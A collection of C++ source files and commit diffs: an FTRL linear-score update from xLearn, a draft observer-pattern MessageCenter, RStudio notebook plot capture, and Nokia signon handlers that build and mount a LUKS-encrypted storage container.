// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//------------------------------------------------------------------------------
/*
Author: Chao Ma (mctt90@gmail.com)
This file is the implementation of LinearScore class.
*/
#include "src/score/linear_score_ftrl.h"
#include "src/base/math.h"
namespace xLearn {
// y = wTx (incluing bias term)
real_t LinearScoreFtrl::CalcScore(const SparseRow* row,
Model& model,
real_t norm) {
real_t* w = model.GetParameter_w();
real_t score = 0.0;
for (SparseRow::const_iterator iter = row->begin();
iter != row->end(); ++iter) {
index_t idx = iter->feat_id * 3;
score += w[idx] * iter->feat_val;
}
// bias
score += model.GetParameter_b()[0];
return score;
}
// Calculate gradient and update current model
void LinearScoreFtrl::CalcGrad(const SparseRow* row,
Model& model,
real_t pg,
real_t norm) {
real_t alpha = 1.0;
real_t beta = 1.0;
real_t lambda1 = 1.0;
real_t lambda2 = 1.0;
real_t* w = model.GetParameter_w();
for (SparseRow::const_iterator iter = row->begin();
iter != row->end(); ++iter) {
real_t gradient = pg * iter->feat_val;
index_t idx_w = iter->feat_id * 3; // index of w_i
index_t idx_n = idx_w + 1; // index of cumulate for gradient * gradient
index_t idx_z = idx_w + 2; // index of cumulater for gradient
real_t old_n = w[idx_n]; // old n_i
w[idx_n] += (gradient * gradient); // new n_i
real_t sigma = 1.0f * (std::sqrt(w[idx_n]) - sqrt(old_n))
/ alpha;
w[idx_z] += gradient - sigma * w[idx_w];
// above had calculate n_i and z_i
// below update gradient by n_i and z_i
if (std::abs(w[idx_z]) < lambda1) {
w[idx_w] = 0.0;
} else {
real_t smooth_lr = 1.0f
/ (lambda2 + (beta + std::sqrt(w[idx_n])) / alpha);
if (w[idx_z] < 0) {
w[idx_z] += lambda1;
} else {
w[idx_z] -= lambda1;
}
w[idx_w] = -1.0f * smooth_lr * w[idx_z];
}
}
// bias
w = model.GetParameter_b();
real_t &wb = w[0];
real_t &wbn = w[1];
real_t &wbz = w[2];
real_t g = pg;
wbn += g*g;
wbz += g;
if (std::abs(wbz) < lambda1) {
wb = 0.0f;
} else {
real_t smooth_lr = 1.0f
/ (lambda2 + (beta + std::sqrt(wbn)) / alpha);
if (wbz < 0) {
wbz += lambda1;
} else {
wbz -= lambda1;
}
wb = -1.0f * smooth_lr * wbz;
}
}
} // namespace xLearn
<|endoftext|>
|
<commit_before>#include <string>
#include <vector>
#include <map>
#include "MessageCenter.h"
MessageCenter::addObserver(std::string message, void (*function)(void)) {
if(i_messages.find(message) == i_messages.end()) { // string already a key
messages[message].push_back(void (*function)(void)); // is this the right syntax for function pointer asignments? I doubt it.
}
else {
messages[message] = new std::vector<void *(*)(void *)>;
messages[message].push_back(void (*function)(void));
}
}
MessageCenter::notify(std::string message, std::vector<int> args) {
}<commit_msg>wrapped up MessageCenter (for now)<commit_after>#include <string>
#include <vector>
#include <map>
#include "MessageCenter.h"
MessageCenter::addObserver(std::string message, void (*function)(void)) {
if(i_messages.find(message) == i_messages.end()) { // string already a key
messages[message].push_back(void (*function)(void)); // is this the right syntax for function pointer asignments? I doubt it.
}
else {
messages[message] = new std::vector<void *(*)(void *)>;
messages[message].push_back(void (*function)(void));
}
}
MessageCenter::notify(std::string message, std::vector<int> args) {
for(int i=0; i < messages[message].length(); i++) {
messages[message][i]();
}
}<|endoftext|>
|
<commit_before>/*
* NotebookPlots.cpp
*
* Copyright (C) 2009-16 by RStudio, Inc.
*
* Unless you have received this program directly from RStudio pursuant
* to the terms of a commercial license agreement with RStudio, then
* this program is licensed to you under the terms of version 3 of the
* GNU Affero General Public License. This program is distributed WITHOUT
* ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,
* MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the
* AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details.
*
*/
#include "SessionRmdNotebook.hpp"
#include "NotebookPlots.hpp"
#include "../SessionPlots.hpp"
#include <boost/format.hpp>
#include <boost/foreach.hpp>
#include <core/system/FileMonitor.hpp>
#include <core/StringUtils.hpp>
#include <session/SessionModuleContext.hpp>
#include <r/RExec.hpp>
#include <r/session/RGraphics.hpp>
#define kPlotPrefix "_rs_chunk_plot_"
using namespace rstudio::core;
namespace rstudio {
namespace session {
namespace modules {
namespace rmarkdown {
namespace notebook {
namespace {
class PlotState
{
public:
PlotState():
hasPlots(false),
sexpMargins(R_NilValue)
{ }
bool hasPlots;
SEXP sexpMargins;
r::sexp::Protect protect;
};
bool isPlotPath(const FilePath& path)
{
return path.hasExtensionLowerCase(".png") &&
string_utils::isPrefixOf(path.stem(), kPlotPrefix);
}
void processPlots(const FilePath& plotFolder, bool fireEvents)
{
// ensure plot folder exists
if (!plotFolder.exists())
return;
// collect plots from the folder
std::vector<FilePath> folderContents;
Error error = plotFolder.children(&folderContents);
if (error)
LOG_ERROR(error);
BOOST_FOREACH(const FilePath& path, folderContents)
{
if (isPlotPath(path))
{
if (fireEvents)
events().onPlotOutput(path);
// clean up the plot so it isn't emitted twice
error = path.removeIfExists();
if (error)
LOG_ERROR(error);
}
}
}
void removeGraphicsDevice(const FilePath& plotFolder,
boost::shared_ptr<PlotState> pPlotState)
{
// turn off the graphics device -- this has the side effect of writing the
// device's remaining output to files
Error error = r::exec::RFunction("dev.off").call();
if (error)
LOG_ERROR(error);
// restore the figure margins
error = r::exec::RFunction("par", pPlotState->sexpMargins).call();
if (error)
LOG_ERROR(error);
#ifdef _WIN32
// on Windows, turning off the PNG device writes an empty PNG file if no
// plot output occurs; we avoid treating that empty file as an actual plot
// by only emitting an event if a plot occurred.
//
// TODO: not all plot libraries cause the new plot hooks to invoke, so this
// heuristic may cause us to miss a plot on Windows; we may need some
// mechanism by which we can determine whether the device or its output is
// empty.
processPlots(plotFolder, hasPlots);
#else
processPlots(plotFolder, true);
#endif
}
void onNewPlot(const FilePath& plotFolder,
boost::shared_ptr<PlotState> pPlotState)
{
pPlotState->hasPlots = true;
processPlots(plotFolder, true);
}
void onConsolePrompt(const FilePath& plotFolder,
boost::shared_ptr<PlotState> pPlotState,
const std::string& )
{
removeGraphicsDevice(plotFolder, pPlotState);
module_context::events().onConsolePrompt.disconnect(
boost::bind(onConsolePrompt, plotFolder, pPlotState, _1));
plots::events().onNewPlot.disconnect(
boost::bind(onNewPlot, pPlotState, _1));
}
} // anonymous namespace
// begins capturing plot output
core::Error beginPlotCapture(const FilePath& plotFolder)
{
// clean up any stale plots from the folder
std::vector<FilePath> folderContents;
Error error = plotFolder.children(&folderContents);
if (error)
return error;
BOOST_FOREACH(const core::FilePath& file, folderContents)
{
// remove if it looks like a plot
if (isPlotPath(file))
{
error = file.remove();
if (error)
{
// this is non-fatal
LOG_ERROR(error);
}
}
}
// generate code for creating PNG device
boost::format fmt("{ require(grDevices, quietly=TRUE); "
" png(file = \"%1%/" kPlotPrefix "%%03d.png\", "
" width = 6.5, height = 4, "
" units=\"in\", res = 96 %2%)"
"}");
// marker for content; this is necessary because on Windows, turning off
// the png device writes an empty PNG file even if nothing was plotted, and
// we need to avoid treating that file as though it were an actual plot
boost::shared_ptr<PlotState> pPlotState = boost::make_shared<PlotState>();
// create the PNG device
error = r::exec::executeString(
(fmt % string_utils::utf8ToSystem(plotFolder.absolutePath())
% r::session::graphics::extraBitmapParams()).str());
if (error)
return error;
// save old plot state
r::exec::RFunction par("par");
par.addParam("no.readonly", true);
error = par.call(&pPlotState->sexpMargins, &pPlotState->protect);
if (error)
LOG_ERROR(error);
// set notebook-friendly figure margins
// bot left top right
error = r::exec::executeString("par(mar = c(5.1, 4.1, 2.1, 2.1))");
if (error)
LOG_ERROR(error);
// complete the capture on the next console prompt
module_context::events().onConsolePrompt.connect(
boost::bind(onConsolePrompt, plotFolder, pPlotState, _1));
plots::events().onNewPlot.connect(
boost::bind(onNewPlot, plotFolder, pPlotState));
return Success();
}
} // namespace notebook
} // namespace rmarkdown
} // namespace modules
} // namespace session
} // namespace rstudio
<commit_msg>restore figure margins before turning off graphics device<commit_after>/*
* NotebookPlots.cpp
*
* Copyright (C) 2009-16 by RStudio, Inc.
*
* Unless you have received this program directly from RStudio pursuant
* to the terms of a commercial license agreement with RStudio, then
* this program is licensed to you under the terms of version 3 of the
* GNU Affero General Public License. This program is distributed WITHOUT
* ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,
* MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the
* AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details.
*
*/
#include "SessionRmdNotebook.hpp"
#include "NotebookPlots.hpp"
#include "../SessionPlots.hpp"
#include <boost/format.hpp>
#include <boost/foreach.hpp>
#include <core/system/FileMonitor.hpp>
#include <core/StringUtils.hpp>
#include <session/SessionModuleContext.hpp>
#include <r/RExec.hpp>
#include <r/session/RGraphics.hpp>
#define kPlotPrefix "_rs_chunk_plot_"
using namespace rstudio::core;
namespace rstudio {
namespace session {
namespace modules {
namespace rmarkdown {
namespace notebook {
namespace {
class PlotState
{
public:
PlotState():
hasPlots(false),
sexpMargins(R_NilValue)
{ }
bool hasPlots;
SEXP sexpMargins;
r::sexp::Protect protect;
};
bool isPlotPath(const FilePath& path)
{
return path.hasExtensionLowerCase(".png") &&
string_utils::isPrefixOf(path.stem(), kPlotPrefix);
}
void processPlots(const FilePath& plotFolder, bool fireEvents)
{
// ensure plot folder exists
if (!plotFolder.exists())
return;
// collect plots from the folder
std::vector<FilePath> folderContents;
Error error = plotFolder.children(&folderContents);
if (error)
LOG_ERROR(error);
BOOST_FOREACH(const FilePath& path, folderContents)
{
if (isPlotPath(path))
{
if (fireEvents)
events().onPlotOutput(path);
// clean up the plot so it isn't emitted twice
error = path.removeIfExists();
if (error)
LOG_ERROR(error);
}
}
}
void removeGraphicsDevice(const FilePath& plotFolder,
boost::shared_ptr<PlotState> pPlotState)
{
// restore the figure margins
Error error = r::exec::RFunction("par", pPlotState->sexpMargins).call();
if (error)
LOG_ERROR(error);
// turn off the graphics device -- this has the side effect of writing the
// device's remaining output to files
error = r::exec::RFunction("dev.off").call();
if (error)
LOG_ERROR(error);
#ifdef _WIN32
// on Windows, turning off the PNG device writes an empty PNG file if no
// plot output occurs; we avoid treating that empty file as an actual plot
// by only emitting an event if a plot occurred.
//
// TODO: not all plot libraries cause the new plot hooks to invoke, so this
// heuristic may cause us to miss a plot on Windows; we may need some
// mechanism by which we can determine whether the device or its output is
// empty.
processPlots(plotFolder, hasPlots);
#else
processPlots(plotFolder, true);
#endif
}
void onNewPlot(const FilePath& plotFolder,
boost::shared_ptr<PlotState> pPlotState)
{
pPlotState->hasPlots = true;
processPlots(plotFolder, true);
}
void onConsolePrompt(const FilePath& plotFolder,
boost::shared_ptr<PlotState> pPlotState,
const std::string& )
{
removeGraphicsDevice(plotFolder, pPlotState);
module_context::events().onConsolePrompt.disconnect(
boost::bind(onConsolePrompt, plotFolder, pPlotState, _1));
plots::events().onNewPlot.disconnect(
boost::bind(onNewPlot, pPlotState, _1));
}
} // anonymous namespace
// begins capturing plot output
core::Error beginPlotCapture(const FilePath& plotFolder)
{
// clean up any stale plots from the folder
std::vector<FilePath> folderContents;
Error error = plotFolder.children(&folderContents);
if (error)
return error;
BOOST_FOREACH(const core::FilePath& file, folderContents)
{
// remove if it looks like a plot
if (isPlotPath(file))
{
error = file.remove();
if (error)
{
// this is non-fatal
LOG_ERROR(error);
}
}
}
// generate code for creating PNG device
boost::format fmt("{ require(grDevices, quietly=TRUE); "
" png(file = \"%1%/" kPlotPrefix "%%03d.png\", "
" width = 6.5, height = 4, "
" units=\"in\", res = 96 %2%)"
"}");
// marker for content; this is necessary because on Windows, turning off
// the png device writes an empty PNG file even if nothing was plotted, and
// we need to avoid treating that file as though it were an actual plot
boost::shared_ptr<PlotState> pPlotState = boost::make_shared<PlotState>();
// create the PNG device
error = r::exec::executeString(
(fmt % string_utils::utf8ToSystem(plotFolder.absolutePath())
% r::session::graphics::extraBitmapParams()).str());
if (error)
return error;
// save old plot state
r::exec::RFunction par("par");
par.addParam("no.readonly", true);
error = par.call(&pPlotState->sexpMargins, &pPlotState->protect);
if (error)
LOG_ERROR(error);
// set notebook-friendly figure margins
// bot left top right
error = r::exec::executeString("par(mar = c(5.1, 4.1, 2.1, 2.1))");
if (error)
LOG_ERROR(error);
// complete the capture on the next console prompt
module_context::events().onConsolePrompt.connect(
boost::bind(onConsolePrompt, plotFolder, pPlotState, _1));
plots::events().onNewPlot.connect(
boost::bind(onNewPlot, plotFolder, pPlotState));
return Success();
}
} // namespace notebook
} // namespace rmarkdown
} // namespace modules
} // namespace session
} // namespace rstudio
<|endoftext|>
|
<commit_before>/* -*- Mode: C++; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/*
* This file is part of signon
*
* Copyright (C) 2009-2010 Nokia Corporation.
*
* Contact: Aurel Popirtac <ext-aurel.popirtac@nokia.com>
* Contact: Alberto Mardegan <alberto.mardegan@nokia.com>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public License
* version 2.1 as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA
*/
#include <sys/mount.h>
#include <errno.h>
#include <fcntl.h>
#include <stdlib.h>
#include <libcryptsetup.h>
#include <QDataStream>
#include <QTextStream>
#include <QProcess>
#include <QLatin1Char>
#include <QFileInfo>
#include <QDir>
#include "cryptohandlers.h"
#include "signond-common.h"
#include "misc.h"
#define SIGNON_LUKS_DEFAULT_HASH "ripemd160"
#define SIGNON_LUKS_CIPHER "aes-xts-plain"
#define SIGNON_LUKS_KEY_SIZE 256
#define SIGNON_LUKS_BASE_KEYSLOT 0
#define SIGNON_EXTERNAL_PROCESS_READ_TIMEOUT 300
namespace SignonDaemonNS {
/* ------------------- SystemCommandLineCallHandler implementation ------------------- */
SystemCommandLineCallHandler::SystemCommandLineCallHandler()
{
connect(&m_process, SIGNAL(error(QProcess::ProcessError)),
this, SLOT(error(QProcess::ProcessError)));
}
SystemCommandLineCallHandler::~SystemCommandLineCallHandler()
{
}
bool SystemCommandLineCallHandler::makeCall(const QString &appPath,
const QStringList &args,
bool readOutput)
{
QString trace;
QTextStream stream(&trace);
stream << appPath << QLatin1Char(' ') << args.join(QLatin1String(" "));
TRACE() << trace;
m_process.start(appPath, args);
if (!m_process.waitForStarted()) {
BLAME() << "Wait for started failed";
return false;
}
if (readOutput) {
m_output.clear();
if (m_process.waitForReadyRead(SIGNON_EXTERNAL_PROCESS_READ_TIMEOUT)) {
if (!m_process.bytesAvailable()) {
BLAME() << "Coult not read output of external process ";
return false;
}
while(m_process.bytesAvailable())
m_output += m_process.readAllStandardOutput();
}
}
if (!m_process.waitForFinished()) {
TRACE() << "Wait for finished failed";
return false;
}
return true;
}
void SystemCommandLineCallHandler::error(QProcess::ProcessError err)
{
TRACE() << "Process erorr:" << err;
}
/* ------------------------ PartitionHandler implementation ------------------------ */
bool PartitionHandler::createPartitionFile(const QString &fileName, const quint32 fileSize)
{
SystemCommandLineCallHandler handler;
bool ret = handler.makeCall(
QLatin1String("/bin/dd"),
QStringList() << QLatin1String("if=/dev/urandom")
<< QString::fromLatin1("of=%1").arg(fileName)
<< QLatin1String("bs=1M")
<< QString::fromLatin1("count=%1").arg(fileSize));
if (!setFilePermissions(fileName, signonFilePermissions))
TRACE() << "Failed to set file permissions "
"for the secure storage container.";
if (!setUserOwnership(fileName))
TRACE() << "Failed to set User ownership "
"for the secure storage container.";
return ret;
}
bool PartitionHandler::formatPartitionFile(const QString &fileName, const quint32 fileSystemType)
{
QString mkfsApp = QString::fromLatin1("/sbin/mkfs.ext2");
switch (fileSystemType) {
case Ext2: mkfsApp = QString::fromLatin1("/sbin/mkfs.ext2"); break;
case Ext3: mkfsApp = QString::fromLatin1("/sbin/mkfs.ext3"); break;
case Ext4: mkfsApp = QString::fromLatin1("/sbin/mkfs.ext4"); break;
default: break;
}
SystemCommandLineCallHandler handler;
return handler.makeCall(
mkfsApp,
QStringList() << fileName);
}
/* ------------------------ MountHandler implementation ------------------------ */
bool MountHandler::mount(const QString &toMount, const QString &mountPath, const QString &fileSystemTtpe)
{
/* Mount a filesystem. */
return (::mount(toMount.toUtf8().constData(), mountPath.toUtf8().constData(),
fileSystemTtpe.toUtf8().constData(),
MS_SYNCHRONOUS | MS_NOEXEC, NULL) == 0);
}
bool MountHandler::umount(const QString &mountPath)
{
/* Unmount a filesystem. */
//TODO - investigate why errno is EINVAL
TRACE() << mountPath.toUtf8().constData();
int ret = ::umount2(mountPath.toUtf8().constData(), MNT_FORCE);
TRACE() << ret;
switch (errno) {
case EAGAIN: TRACE() << "EAGAIN"; break;
case EBUSY: TRACE() << "EBUSY"; break;
case EFAULT: TRACE() << "EFAULT"; break;
case EINVAL: TRACE() << "EINVAL"; break;
case ENAMETOOLONG: TRACE() << "ENAMETOOLONG"; break;
case ENOENT: TRACE() << "ENOENT"; break;
case ENOMEM: TRACE() << "ENOMEM"; break;
case EPERM: TRACE() << "EPERM"; break;
default: TRACE() << "umount unknown error - ignoring.";
}
//TODO - Remove 1st, uncommend 2nd lines after the fix above.
// This is tmp hack so that the tests will work.
return true;
//return (ret == 0);
}
/* ----------------------- LosetupHandler implementation ----------------------- */
bool LosetupHandler::setupDevice(const QString &deviceName, const QString &blockDevice)
{
SystemCommandLineCallHandler handler;
return handler.makeCall(
QLatin1String("/sbin/losetup"),
QStringList() << deviceName << blockDevice);
}
QString LosetupHandler::findAvailableDevice()
{
SystemCommandLineCallHandler handler;
QString deviceName;
bool ret = handler.makeCall(
QLatin1String("/sbin/losetup"),
QStringList() << QLatin1String("-f"),
true);
deviceName = QString::fromLocal8Bit(handler.output().trimmed());
if (ret)
return deviceName;
return QString();
}
bool LosetupHandler::releaseDevice(const QString &deviceName)
{
SystemCommandLineCallHandler handler;
return handler.makeCall(
QLatin1String("/sbin/losetup"),
QStringList() << QString::fromLatin1("-d") << deviceName);
}
/* ----------------------- CrytpsetupHandler implementation ----------------------- */
/*
Callbacks for the interface callbacks struct in crypt_options struct.
*/
static int yesDialog(char *msg)
{
Q_UNUSED(msg)
return 0;
}
static void cmdLineLog(int type, char *msg)
{
switch (type) {
case CRYPT_LOG_NORMAL:
TRACE() << msg;
break;
case CRYPT_LOG_ERROR:
TRACE() << "Error: " << msg;
break;
default:
TRACE() << "Internal error on logging class for msg: " << msg;
break;
}
}
bool CryptsetupHandler::formatFile(const QByteArray &key, const QString &deviceName)
{
struct crypt_options options;
options.key_size = SIGNON_LUKS_KEY_SIZE / 8;
options.key_slot = SIGNON_LUKS_BASE_KEYSLOT;
char *localDeviceName = (char *)malloc(deviceName.length() + 1);
Q_ASSERT(localDeviceName != NULL);
strcpy(localDeviceName, deviceName.toLatin1().constData());
options.device = localDeviceName;
options.cipher = SIGNON_LUKS_CIPHER;
options.new_key_file = NULL;
char *localKey = (char *)malloc(key.length());
Q_ASSERT(localKey != NULL);
memcpy(localKey, key.constData(), key.length());
options.key_material = localKey;
options.material_size = key.length();
options.flags = 0;
options.iteration_time = 1000;
options.timeout = 0;
options.align_payload = 0;
static struct interface_callbacks cmd_icb;
cmd_icb.yesDialog = 0;
cmd_icb.log = 0;
options.icb = &cmd_icb;
TRACE() << "Device: [" << options.device << "]";
TRACE() << "Key size:" << key.length();
int ret = crypt_luksFormat(&options);
if (ret != 0)
TRACE() << "LUKS format API call result:" << ret << "." << error();
if (localDeviceName)
free(localDeviceName);
if (localKey)
free(localKey);
return (ret == 0);
}
bool CryptsetupHandler::openFile(const QByteArray &key,
const QString &deviceName,
const QString &deviceMap)
{
struct crypt_options options;
char *localDeviceMap = (char *)malloc(deviceMap.length() + 1);
Q_ASSERT(localDeviceMap != NULL);
strcpy(localDeviceMap, deviceMap.toLatin1().constData());
options.name = localDeviceMap;
char *localDeviceName = (char *)malloc(deviceName.length() + 1);
Q_ASSERT(localDeviceName != NULL);
strcpy(localDeviceName, deviceName.toLatin1().constData());
options.device = localDeviceName;
char *localKey = (char *)malloc(key.length());
Q_ASSERT(localKey != NULL);
memcpy(localKey, key.constData(), key.length());
options.key_material = localKey;
options.material_size = key.length();
options.key_file = NULL;
options.timeout = 0;
/*
Do not change this:
1) In case of failure to open, libcryptsetup code will
enter infinite loop - library BUG/FEATURE.
2) There is no need for multiple tries, option is intended for
command line use of the utility.
*/
options.tries = 0;
options.flags = 0;
static struct interface_callbacks cmd_icb;
cmd_icb.yesDialog = yesDialog;
cmd_icb.log = cmdLineLog;
options.icb = &cmd_icb;
TRACE() << "Device [" << options.device << "]";
TRACE() << "Map name [" << options.name << "]";
TRACE() << "Key size:" << key.length();
int ret = crypt_luksOpen(&options);
if (ret != 0)
TRACE() << "LUKS open API call result:" << ret << "." << error() << ".";
if (localDeviceName)
free(localDeviceName);
if (localDeviceMap)
free(localDeviceMap);
if (localKey)
free(localKey);
return (ret == 0);
}
bool CryptsetupHandler::closeFile(const QString &deviceMap)
{
struct crypt_options options;
char *localDeviceMap = (char *)malloc(deviceMap.length() + 1);
Q_ASSERT(localDeviceMap != NULL);
strcpy(localDeviceMap, deviceMap.toLatin1().constData());
options.name = localDeviceMap;
static struct interface_callbacks cmd_icb;
cmd_icb.yesDialog = yesDialog;
cmd_icb.log = cmdLineLog;
options.icb = &cmd_icb;
TRACE() << "Map name [" << options.name << "]";
int ret = crypt_remove_device(&options);
if (ret != 0)
TRACE() << "Cryptsetup remove API call result:" << ret << "." << error();
if (localDeviceMap)
free(localDeviceMap);
return (ret == 0);
}
bool CryptsetupHandler::removeFile(const QString &deviceName)
{
Q_UNUSED(deviceName)
//todo - delete file system (wipe credentials storege) is based on this
return false;
}
bool CryptsetupHandler::addKeySlot(const QString &deviceName,
const QByteArray &key,
const QByteArray &existingKey)
{
struct crypt_options options;
options.key_size = SIGNON_LUKS_KEY_SIZE / 8;
options.cipher = SIGNON_LUKS_CIPHER;
char *localDeviceName = (char *)malloc(deviceName.length() + 1);
Q_ASSERT(localDeviceName != NULL);
strcpy(localDeviceName, deviceName.toLatin1().constData());
options.device = localDeviceName;
options.new_key_file = NULL;
options.key_file = NULL;
options.key_slot = -1;
options.key_material = existingKey.constData();
options.key_material2 = key.constData();
options.material_size = existingKey.length();
options.material_size2 = key.length();
options.flags = 0;
options.iteration_time = 1000;
options.timeout = 0;
options.tries = 0;
static struct interface_callbacks cmd_icb;
cmd_icb.yesDialog = yesDialog;
cmd_icb.log = cmdLineLog;
options.icb = &cmd_icb;
int ret = crypt_luksAddKey(&options);
if (localDeviceName)
free(localDeviceName);
if (ret != 0)
TRACE() << "Cryptsetup add key API call result:" << ret << "." << error();
return (ret == 0);
}
bool CryptsetupHandler::removeKeySlot(const QString &deviceName,
const QByteArray &key,
const QByteArray &remainingKey)
{
struct crypt_options options;
options.key_size = SIGNON_LUKS_KEY_SIZE / 8;
options.cipher = SIGNON_LUKS_CIPHER;
char *localDeviceName = (char *)malloc(deviceName.length() + 1);
Q_ASSERT(localDeviceName != NULL);
strcpy(localDeviceName, deviceName.toLatin1().constData());
options.device = localDeviceName;
options.new_key_file = NULL;
options.key_file = NULL;
options.key_slot = -1;
options.key_material = key.constData();
options.key_material2 = remainingKey.constData();
options.material_size = key.length();
options.material_size2 = remainingKey.length();
options.flags = 0;
options.timeout = 0;
static struct interface_callbacks cmd_icb;
cmd_icb.yesDialog = yesDialog;
cmd_icb.log = cmdLineLog;
options.icb = &cmd_icb;
int ret = crypt_luksRemoveKey(&options);
if (localDeviceName)
free(localDeviceName);
if (ret != 0)
TRACE() << "Cryptsetup remove key API call result:" << ret << "." << error();
return (ret == 0);
}
bool CryptsetupHandler::loadDmMod()
{
SystemCommandLineCallHandler handler;
return handler.makeCall(
QLatin1String("/sbin/modprobe"),
QStringList() << QString::fromLatin1("dm_mod"));
}
QString CryptsetupHandler::error()
{
char buf[260];
crypt_get_error(buf, 256);
return QString::fromLocal8Bit(buf);
}
} //namespace SignonDaemonNS
<commit_msg>Using ftruncate to create the signon secure FS partition file.<commit_after>/* -*- Mode: C++; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/*
* This file is part of signon
*
* Copyright (C) 2009-2010 Nokia Corporation.
*
* Contact: Aurel Popirtac <ext-aurel.popirtac@nokia.com>
* Contact: Alberto Mardegan <alberto.mardegan@nokia.com>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public License
* version 2.1 as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
* 02110-1301 USA
*/
#include <sys/mount.h>
#include <errno.h>
#include <fcntl.h>
#include <stdlib.h>
#include <libcryptsetup.h>
#include <QDataStream>
#include <QTextStream>
#include <QProcess>
#include <QLatin1Char>
#include <QFileInfo>
#include <QDir>
#include "cryptohandlers.h"
#include "signond-common.h"
#include "misc.h"
#define SIGNON_LUKS_DEFAULT_HASH "ripemd160"
#define SIGNON_LUKS_CIPHER "aes-xts-plain"
#define SIGNON_LUKS_KEY_SIZE 256
#define SIGNON_LUKS_BASE_KEYSLOT 0
#define SIGNON_EXTERNAL_PROCESS_READ_TIMEOUT 300
#define KILO_BYTE_SIZE 1024
#define MEGA_BYTE_SIZE (KILO_BYTE_SIZE * 1024)
namespace SignonDaemonNS {
/* ------------------- SystemCommandLineCallHandler implementation ------------------- */
SystemCommandLineCallHandler::SystemCommandLineCallHandler()
{
connect(&m_process, SIGNAL(error(QProcess::ProcessError)),
this, SLOT(error(QProcess::ProcessError)));
}
SystemCommandLineCallHandler::~SystemCommandLineCallHandler()
{
}
bool SystemCommandLineCallHandler::makeCall(const QString &appPath,
const QStringList &args,
bool readOutput)
{
QString trace;
QTextStream stream(&trace);
stream << appPath << QLatin1Char(' ') << args.join(QLatin1String(" "));
TRACE() << trace;
m_process.start(appPath, args);
if (!m_process.waitForStarted()) {
BLAME() << "Wait for started failed";
return false;
}
if (readOutput) {
m_output.clear();
if (m_process.waitForReadyRead(SIGNON_EXTERNAL_PROCESS_READ_TIMEOUT)) {
if (!m_process.bytesAvailable()) {
BLAME() << "Coult not read output of external process ";
return false;
}
while(m_process.bytesAvailable())
m_output += m_process.readAllStandardOutput();
}
}
if (!m_process.waitForFinished()) {
TRACE() << "Wait for finished failed";
return false;
}
return true;
}
void SystemCommandLineCallHandler::error(QProcess::ProcessError err)
{
TRACE() << "Process erorr:" << err;
}
/* ------------------------ PartitionHandler implementation ------------------------ */
bool PartitionHandler::createPartitionFile(const QString &fileName, const quint32 fileSize)
{
int fd = open(fileName.toLatin1().data(),
O_RDWR | O_CREAT,
666);
if (fd < 0) {
BLAME() << "FAILED to create signon secure FS partition file. ERRNO:"
<< errno;
return false;
}
if (ftruncate(fd, fileSize * MEGA_BYTE_SIZE) == -1) {
BLAME() << "FAILED to set signon secure FS partition file size. ERRNO:"
<< errno;
return false;
}
if (close(fd) < 0)
TRACE() << "Failed to close secure FS partition file after creation.";
if (!setFilePermissions(fileName, signonFilePermissions))
TRACE() << "Failed to set file permissions "
"for the secure storage container.";
if (!setUserOwnership(fileName))
TRACE() << "Failed to set User ownership "
"for the secure storage container.";
return true;
}
bool PartitionHandler::formatPartitionFile(const QString &fileName, const quint32 fileSystemType)
{
QString mkfsApp = QString::fromLatin1("/sbin/mkfs.ext2");
switch (fileSystemType) {
case Ext2: mkfsApp = QString::fromLatin1("/sbin/mkfs.ext2"); break;
case Ext3: mkfsApp = QString::fromLatin1("/sbin/mkfs.ext3"); break;
case Ext4: mkfsApp = QString::fromLatin1("/sbin/mkfs.ext4"); break;
default: break;
}
SystemCommandLineCallHandler handler;
return handler.makeCall(
mkfsApp,
QStringList() << fileName);
}
/* ------------------------ MountHandler implementation ------------------------ */
bool MountHandler::mount(const QString &toMount, const QString &mountPath, const QString &fileSystemTtpe)
{
/* Mount a filesystem. */
return (::mount(toMount.toUtf8().constData(), mountPath.toUtf8().constData(),
fileSystemTtpe.toUtf8().constData(),
MS_SYNCHRONOUS | MS_NOEXEC, NULL) == 0);
}
bool MountHandler::umount(const QString &mountPath)
{
/* Unmount a filesystem. */
//TODO - investigate why errno is EINVAL
TRACE() << mountPath.toUtf8().constData();
int ret = ::umount2(mountPath.toUtf8().constData(), MNT_FORCE);
TRACE() << ret;
switch (errno) {
case EAGAIN: TRACE() << "EAGAIN"; break;
case EBUSY: TRACE() << "EBUSY"; break;
case EFAULT: TRACE() << "EFAULT"; break;
case EINVAL: TRACE() << "EINVAL"; break;
case ENAMETOOLONG: TRACE() << "ENAMETOOLONG"; break;
case ENOENT: TRACE() << "ENOENT"; break;
case ENOMEM: TRACE() << "ENOMEM"; break;
case EPERM: TRACE() << "EPERM"; break;
default: TRACE() << "umount unknown error - ignoring.";
}
//TODO - Remove 1st, uncommend 2nd lines after the fix above.
// This is tmp hack so that the tests will work.
return true;
//return (ret == 0);
}
/* ----------------------- LosetupHandler implementation ----------------------- */
bool LosetupHandler::setupDevice(const QString &deviceName, const QString &blockDevice)
{
SystemCommandLineCallHandler handler;
return handler.makeCall(
QLatin1String("/sbin/losetup"),
QStringList() << deviceName << blockDevice);
}
